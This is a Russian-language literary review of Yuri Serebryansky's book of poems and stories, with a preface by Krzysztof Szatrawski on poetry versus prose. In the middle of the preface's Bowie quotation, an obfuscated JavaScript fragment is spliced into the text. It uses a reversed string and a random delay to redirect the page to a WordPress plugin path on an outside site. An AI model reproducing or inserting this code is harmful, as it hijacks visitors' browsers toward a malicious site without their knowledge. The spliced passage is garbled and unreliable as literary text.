Письмо Юрия Серебрянского родственно, пожалуй, точечной живописи австралийских аборигенов. И то и другое – острожное, осторожное, но вообще бездонное и бесстрашное. Только краски автора заметно более приглушены и дымны, если не сказать – печальны. Ну так – Австралия в Австралии, точечной живописи тысячи лет, а Юрий – сегодня и с нами. Но – с европейским пуантилизмом не имеет ничего общего! Суть же в том, что Мир является изумительно расшнурованный, и изменяется с каждым шагом каждого существа и с колебанием каждого вещества в нем. Намерения и мысли – это тоже шаги и движения, и даже более чем. География остра и важна – но при этом надмирна. Герои совершают поступки – но главная речь идет не совсем о них. И в результате мы имеем сумму каких-то очень важных Доказательств, словами их не выразить, несмотря на то, что явлены они при помощи одних слов. Это литература, которая является навигацией в чистейшем виде. А куда? И где мы окажемся? Ну так таких вопросов не задают! Возможно, мы окажемся вплотную к себе – подойдем и обхватим ладонями собственную голову. А Хель – это крошечный курортный город на Балтике в Польше на кончике одноименного полуострова…
Цитата как биопсия: Владиславово за эти несколько лет стало похоже на монету, прилипшую ко дну старой металлической чашки в саду. Поверхность блестит, и герб покачивается под слоем дождевой воды, когда в чашку попадают капли, а если протянуть руку и достать её со дна, то окажется, что обратная сторона грязная, бугристая, в наростах от проржавевшего дна чашки.
Когда я перечитывала новые тексты Юрия Серебрянского, во мне тревожно искрилось чувство ностальгии. То ли — по настоящему (как у Вознесенского), то ли — по неспешной, мучительной, ускользнувшей в небытие жизни. Жизни, в которой были и своя Фрези Грант (рассказ «Девочка на крыше гаража»), и булгаковские волшебные города (рассказ «Трамваи ходят по расписанию»), и пионерский лагерь полустрогого режима («Наркоманы»). Лирично, но отчаянно. Медитативно, но с иглой. Все исчезает, остается лишь «Гюнтер Грасс, музей которого сейчас у меня прямо за спиной».
Издатель и автор графики Игорь Улангин, редактор — составитель Мария Малиновская. Предисловие для книги написал польский поэт Кшиштоф Шатравский:
Серебрянский пересечение границ доводит до грани искусства. Речь о границах мира человеческого опыта, географических расстояний и самого повествования. Речь, кроме того, и о грани между поэзией и прозой. Читая стихи из этой книги, сомнений не возникает – это поэзия. Серебрянский мыслит и говорит как поэт. Стоит себе при случае задать вопрос – надо ли дальше продолжать объяснять разницу между повествованием поэтическим и прозаическим? Поэзия с самого начала связана с музыкой, всегда была высказыванием, завязанным на звучании, ритме, мелодии. Имея дело с впечатлениями, поэзия обращается к миру эмоций и дальше прямиком к идеям и убеждениям. Проза подчинена законам логики, хотя лучшие из аргументов не всегда в силах заставить верить в них. Говоря проще, в условиях прозы трудно пребывать одновременно на Окинаве и в Чикаго, в Гонконге и Праге. Стихи Серебрянского служат доказательством того, что в поэзии можно быть где угодно и когда угодно. И при этом остается еще место тоске по дальним странам.
В первую очередь поэзия – речь связная. Не всегда это даже может быть традиционный силлабо-тонический строй стиха. Однако именно связи на звуковом уровне доводят высказывание до точки языковых правил, отличающих поэзию от прозы. Конечно, от классических образчиков поэзии нас отделяют столетия перемен. Темп жизни и присущие нам ритмы уже давно в достаточной степени усложнились, чтобы конструкции с равномерно расставленными акцентами уступили место полиритмичным и полиметричным структурам.
Подобно тому, как в музыке поэтические структуры опираются на повторения, в Окинава блюзе или стихотворении Будда поэтическая наррация основана на повторяющихся темах.
Повествования, сотворяющие мифы — часть традиции, где рассказ становится дорогой, объяснением, формирующим опытом. Стихи о гораздо более сложной современности должны быть даже проще этого.
Освобожденное от ритмической очевидности, произведение может более экономно использовать поэтические средства, не заполняя стихотворные структуры надуманным содержанием.
Повторения мотивов работают аналогичным образом в меняющемся контексте посещения Майданека, импрессионистические наблюдения чередуются со смысловыми частями, оставляя адресату пространство, которое напрасно было бы искать в прозе.
В поэзии Серебрянского содержание, как и способ стихосложения позволяют свести состав текста к тем элементам, которые сами для себя определяют смысловой и звуковой контексты.
Это, собственно, открытый контекст, усиливающий экспрессию и позволяющий адресату быть более самостоятельным в его интерпретации, и имеет смысл сделать такое предположение перед знакомством с этой поэзией. Серебрянский обращается к реальности, привлекающей экзотикой, хотя в век интернета, сокращающего любые расстояния, эти образы широко известны и их можно эффективно вырисовать, пользуясь языком бытовой речи.
Язык как составляющая является началом каждой поэтики и момент услышения языка должен быть отправной точкой входа в переживание (творчество) и прочтения (сотворчество). В этом случае язык становится носителем поэтического дискурса, обещающего предкоммунникационный уровень восприятия. В текстах Серебрянского часто присутствует полифоничное взаимопроникновение языков, которое через деконструкцию будто ведет к единому источнику — „ashes toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ashes, Боуи ту Боуи”. Можно утверждать, что Серебрянский — поэт, балансирующий на грани, но это не столько грань между литературными жанрами, сколько границы правил коммуникации и способов высказывания. Словно желая расширить границы поэтического опыта, он выходит за рамки обычных форм стихосложения, заменяя их ложной логикой повествования. Однако там, где традиционные поэтические образы растворились в пространстве логоса, логика оказывается молитвой во имя «святого духа и сына и… дочка Амина».
Так поэт формулирует послания в измерении универсализирующего опыта причастности.
Особенность состоит в том, что язык сформированный таким образом предполагает постоянное присутствие и активную познавательную позицию адресата. Читатель становится резонатором высказывания поэта, усиленного энергией читательского погружения и созвучием новых, привнесенных самим адресатом контекстов. Поэтому то, что, не вникая можно было бы принять за образец поэтической прозы, по своей сути оказывается чистым поэтическим опытом.
Стих оказывается канатом, натянутым над темной пропастью непонимания.
Мы слышим голос поэта и осторожно можем за ним последовать.
